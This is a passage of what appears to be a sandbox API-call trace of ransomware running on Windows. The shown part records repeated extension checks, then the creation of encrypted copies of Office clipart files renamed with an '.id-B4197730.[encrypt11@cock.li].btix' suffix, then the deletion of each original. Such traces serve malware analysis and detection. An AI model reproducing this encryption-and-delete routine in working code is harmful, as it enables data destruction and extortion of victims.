Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0067.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0067.776] lstrlenW (lpString=".doc") returned 4 [0067.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.776] lstrlenW (lpString=".docx") returned 5 [0067.776] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0067.777] lstrlenW (lpString=".pdf") returned 4 [0067.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.777] lstrlenW (lpString=".xls") returned 4 [0067.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.777] lstrlenW (lpString=".xlsx") returned 5 [0067.777] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0067.777] lstrlenW (lpString=".ppt") returned 4 [0067.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0067.777] lstrlenW (lpString=".zip") returned 4 [0067.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.777] lstrlenW (lpString=".rar") returned 4 [0067.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.777] lstrlenW (lpString=".bz2") returned 4 [0067.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.777] lstrlenW (lpString=".7z") returned 3 [0067.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0067.777] lstrlenW (lpString=".dbf") returned 4 [0067.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0067.777] lstrlenW (lpString=".1cd") returned 4 [0067.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0067.777] lstrlenW (lpString=".jpg") returned 4 [0067.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.735] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.735] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0068.735] GetLastError () returned 0x0 [0068.735] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x73bc, lpOverlapped=0x0) returned 1 [0068.829] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x73c0, lpOverlapped=0x0) returned 1 [0068.830] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.830] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.831] SetEndOfFile (hFile=0x308) returned 1 [0068.831] CloseHandle (hObject=0x308) returned 1 [0068.831] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.831] SetEndOfFile (hFile=0x36c) returned 1 [0068.832] CloseHandle (hObject=0x36c) returned 1 [0068.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0068.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0068.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.832] lstrlenW (lpString=".doc") returned 4 [0068.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.832] lstrlenW (lpString=".docx") returned 5 [0068.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.832] lstrlenW (lpString=".pdf") returned 4 [0068.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.832] lstrlenW (lpString=".xls") returned 4 [0068.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.832] lstrlenW (lpString=".xlsx") returned 5 [0068.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.832] lstrlenW (lpString=".ppt") returned 4 [0068.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.833] lstrlenW (lpString=".zip") returned 4 [0068.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.833] lstrlenW (lpString=".rar") returned 4 [0068.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.833] lstrlenW (lpString=".bz2") returned 4 [0068.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.833] lstrlenW (lpString=".7z") returned 3 [0068.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.833] lstrlenW (lpString=".dbf") returned 4 [0068.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.833] lstrlenW (lpString=".1cd") returned 4 [0068.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.833] lstrlenW (lpString=".jpg") returned 4 [0068.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.834] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.834] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0068.834] GetLastError () returned 0x0 [0068.834] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x318, lpOverlapped=0x0) returned 1 [0068.884] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x320, lpOverlapped=0x0) returned 1 [0068.885] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.885] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.885] SetEndOfFile (hFile=0x308) returned 1 [0068.885] CloseHandle (hObject=0x308) returned 1 [0068.885] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.885] SetEndOfFile (hFile=0x36c) returned 1 [0068.886] CloseHandle (hObject=0x36c) returned 1 [0068.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0068.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0068.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0068.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0068.886] lstrlenW (lpString=".doc") returned 4 [0068.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.886] lstrlenW (lpString=".docx") returned 5 [0068.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.886] lstrlenW (lpString=".pdf") returned 4 [0068.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.886] lstrlenW (lpString=".xls") returned 4 [0068.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.886] lstrlenW (lpString=".xlsx") returned 5 [0068.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.887] lstrlenW (lpString=".ppt") returned 4 [0068.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0068.887] lstrlenW (lpString=".zip") returned 4 [0068.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.887] lstrlenW (lpString=".rar") returned 4 [0068.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.887] lstrlenW (lpString=".bz2") returned 4 [0068.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.887] lstrlenW (lpString=".7z") returned 3 [0068.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0068.887] lstrlenW (lpString=".dbf") returned 4 [0068.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0068.887] lstrlenW (lpString=".1cd") returned 4 [0068.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0068.887] lstrlenW (lpString=".jpg") returned 4 [0068.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.888] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0068.888] GetLastError () returned 0x0 [0068.888] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1e94, lpOverlapped=0x0) returned 1 [0069.459] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1ea0, lpOverlapped=0x0) returned 1 [0069.460] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.460] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0069.460] SetEndOfFile (hFile=0x308) returned 1 [0069.460] CloseHandle (hObject=0x308) returned 1 [0069.460] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.460] SetEndOfFile (hFile=0x36c) returned 1 [0069.461] CloseHandle (hObject=0x36c) returned 1 [0069.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0069.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0069.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0069.726] lstrlenW (lpString=".doc") returned 4 [0069.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.726] lstrlenW (lpString=".docx") returned 5 [0069.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.726] lstrlenW (lpString=".pdf") returned 4 [0069.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.726] lstrlenW (lpString=".xls") returned 4 [0069.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.726] lstrlenW (lpString=".xlsx") returned 5 [0069.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.726] lstrlenW (lpString=".ppt") returned 4 [0069.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0069.726] lstrlenW (lpString=".zip") returned 4 [0069.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.726] lstrlenW (lpString=".rar") returned 4 [0069.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.726] lstrlenW (lpString=".bz2") returned 4 [0069.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.726] lstrlenW (lpString=".7z") returned 3 [0069.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0069.726] lstrlenW (lpString=".dbf") returned 4 [0069.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0069.726] lstrlenW (lpString=".1cd") returned 4 [0069.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0069.727] lstrlenW (lpString=".jpg") returned 4 [0069.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.727] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.727] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0069.727] GetLastError () returned 0x0 [0069.727] ReadFile (in: hFile=0x308, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2708, lpOverlapped=0x0) returned 1 [0069.883] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2710, lpOverlapped=0x0) returned 1 [0069.883] ReadFile (in: hFile=0x308, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.883] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0069.884] SetEndOfFile (hFile=0x318) returned 1 [0069.886] CloseHandle (hObject=0x318) returned 1 [0069.886] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.886] SetEndOfFile (hFile=0x308) returned 1 [0069.887] CloseHandle (hObject=0x308) returned 1 [0069.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0069.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0069.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0069.893] lstrlenW (lpString=".doc") returned 4 [0069.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.893] lstrlenW (lpString=".docx") returned 5 [0069.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.893] lstrlenW (lpString=".pdf") returned 4 [0069.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.894] lstrlenW (lpString=".xls") returned 4 [0069.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.894] lstrlenW (lpString=".xlsx") returned 5 [0069.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.894] lstrlenW (lpString=".ppt") returned 4 [0069.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0069.894] lstrlenW (lpString=".zip") returned 4 [0069.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.894] lstrlenW (lpString=".rar") returned 4 [0069.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.894] lstrlenW (lpString=".bz2") returned 4 [0069.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.894] lstrlenW (lpString=".7z") returned 3 [0069.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0069.894] lstrlenW (lpString=".dbf") returned 4 [0069.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0069.894] lstrlenW (lpString=".1cd") returned 4 [0069.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0069.894] lstrlenW (lpString=".jpg") returned 4 [0069.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.894] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.894] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0069.895] GetLastError () returned 0x0 [0069.895] ReadFile (in: hFile=0x308, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xe20, lpOverlapped=0x0) returned 1 [0070.037] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xe30, lpOverlapped=0x0) returned 1 [0070.038] ReadFile (in: hFile=0x308, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.038] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.039] SetEndOfFile (hFile=0x318) returned 1 [0070.039] CloseHandle (hObject=0x318) returned 1 [0070.039] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.039] SetEndOfFile (hFile=0x308) returned 1 [0070.040] CloseHandle (hObject=0x308) returned 1 [0070.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0070.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0070.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0070.040] lstrlenW (lpString=".doc") returned 4 [0070.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.040] lstrlenW (lpString=".docx") returned 5 [0070.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.040] lstrlenW (lpString=".pdf") returned 4 [0070.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.040] lstrlenW (lpString=".xls") returned 4 [0070.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.041] lstrlenW (lpString=".xlsx") returned 5 [0070.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.041] lstrlenW (lpString=".ppt") returned 4 [0070.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0070.041] lstrlenW (lpString=".zip") returned 4 [0070.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.041] lstrlenW (lpString=".rar") returned 4 [0070.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.041] lstrlenW (lpString=".bz2") returned 4 [0070.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.041] lstrlenW (lpString=".7z") returned 3 [0070.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0070.041] lstrlenW (lpString=".dbf") returned 4 [0070.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0070.041] lstrlenW (lpString=".1cd") returned 4 [0070.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0070.041] lstrlenW (lpString=".jpg") returned 4 [0070.041] lstrcmpiW (lpString1=".jpg", 